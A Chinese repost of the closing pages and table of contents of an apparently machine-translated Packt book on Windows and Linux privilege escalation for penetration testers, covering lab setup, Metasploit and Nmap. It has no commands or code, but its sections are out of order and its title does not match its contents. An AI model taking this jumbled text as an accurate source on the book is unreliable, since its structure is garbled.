本书旨在成为一本实用指南，指导您如何从 Windows 和 Linux 目标中枚举尽可能多的信息，以及如何利用这些信息识别可以被利用来提升权限的漏洞。本书通过提供实践练习来验证您在每一章中学到的内容，以实现这一目标。

本书涵盖了 Windows 和 Linux 系统中最重要的权限提升向量，并为您提供了可以利用这些向量的实际场景。

希望你喜欢本书，并且无论你的技能水平如何，都能从每一章中获得价值，并且能够提升你的权限提升技能，增强作为渗透测试员的能力。

Packt.com

订阅我们的在线数字图书馆，全面访问超过 7000 本书籍和视频，以及行业领先的工具，帮助你规划个人发展并推进职业生涯。更多信息，请访问我们的网站。

第十四章：为什么订阅？

通过来自 4000 多名行业专业人士的实用电子书和视频，减少学习时间，增加编码时间
利用专门为你定制的技能计划，提升学习效果
每月获取一本免费的电子书或视频
完全可搜索，方便访问重要信息
复制、粘贴、打印和书签内容

你知道 Packt 提供每本书的电子书版本，PDF 和 ePub 文件可供下载吗？你可以在packt.com升级到电子书版本，作为纸质书的客户，你还可以享受电子书的折扣。更多详情，请联系我们：customercare@packtpub.com。

在www.packt.com你还可以阅读一系列免费的技术文章，订阅各种免费的时事通讯，并享受 Packt 书籍和电子书的独家折扣和优惠。

你可能会喜欢的其他书籍

如果你喜欢这本书，可能会对 Packt 出版的其他书籍感兴趣：

网络安全职业发展计划

Gerald Auger 博士、Jaclyn "Jax" Scott、Jonathan Helmus、Kim Nguyen

ISBN: 978-1-80107-356-1

了解网络安全基础，包括不同的框架和法律，以及相关专业
了解如何在网络安全行业找到你的第一份工作
理解大学教育和证书课程之间的区别
制定目标和时间表，鼓励工作与生活的平衡，同时为你的工作提供价值
了解可用的不同类型的网络安全职位，以及什么是入门级岗位
构建实惠的、实用的实验室，提升你的技术技能
了解如何设定目标并在获得第一份网络安全工作后保持动力

防病毒绕过技术

Nir Yehoshua、Uriel Kosayev

ISBN: 978-1-80107-974-7

探索安全领域，掌握防病毒软件的基本知识
了解如何使用恶意软件分析工具收集防病毒绕过研究线索
了解两种常用的防病毒绕过方法
了解如何绕过静态和动态防病毒引擎
理解并在实际场景中实施绕过技术
利用最佳实践和建议实施防病毒解决方案

Packt 正在寻找像你这样的作者

如果您有兴趣成为 Packt 的作者，请访问authors.packtpub.com并立即申请。我们与成千上万的开发者和技术专业人士合作，帮助他们将自己的见解分享给全球技术社区。您可以提交一般申请，申请我们正在招募的特定热门话题的作者，或者提交您自己的创意。

分享您的想法

现在您已经完成了特权提升技术，我们很想听听您的想法！如果您是通过亚马逊购买的这本书，请点击这里直接进入亚马逊的评价页面并分享您的反馈或在您购买书籍的网站上留下评论。

您的评价对我们和技术社区非常重要，将帮助我们确保提供高质量的内容。

你可能会喜欢的其他书籍

posted @ 2025-06-23 19:08 绝不原创的飞龙阅读(4) 评论(0) 收藏举报

刷新页面返回顶部

龙哥盟

掠夺·扩张·投机·博弈

权限维持技术-全-

权限维持技术（全）

前言

本书适合谁阅读

本书内容

为了充分利用本书

代码实战

下载彩色图片

使用的约定

include <stdio.h>

include <stdlib.h>

include <stdio.h>

include <stdlib.h>

联系我们

分享您的想法

第一部分：获得访问权限和本地枚举

第一章: 权限提升介绍

什么是权限提升？

权限和特权的分配方式

水平权限提升

场景

垂直权限提升

场景

了解 Windows 和 Linux 上特权提升的区别

Windows 安全

用户身份验证

用户识别

访问令牌

Linux 安全性

用户身份验证

身份识别

访问令牌

探索权限提升攻击的类型

内核漏洞利用

利用 SUID 二进制文件

利用易受攻击的服务和权限

不安全的凭证

利用 SUDO

总结

第二章：设置我们的实验室

技术要求

设计我们的实验室

虚拟化

虚拟机监控器

什么是虚拟机？

你应该使用哪种类型的虚拟化管理程序？

实验室结构

操作系统

虚拟网络拓扑

建立我们的实验室

安装和配置 VirtualBox

配置虚拟网络

设置我们的目标虚拟机

设置 Windows 虚拟机

设置 Windows 7 虚拟机

设置 Metasploitable3 虚拟机

设置 Windows 10 虚拟机

设置 Linux 虚拟机

设置 Metasploitable2

设置 Kali Linux

将所有内容整合在一起

总结

第三章：获取访问权限（利用）

技术要求

设置 Metasploit

Metasploit 结构

Metasploit 模块

设置 Metasploit 框架

信息收集与足迹分析

使用 Nmap 进行网络映射

使用 Nmap 进行主机发现

漏洞评估

Metasploitable3 漏洞

Metasploitable2 漏洞

获得访问权限

利用 Metasploitable3

利用 Metasploitable2

总结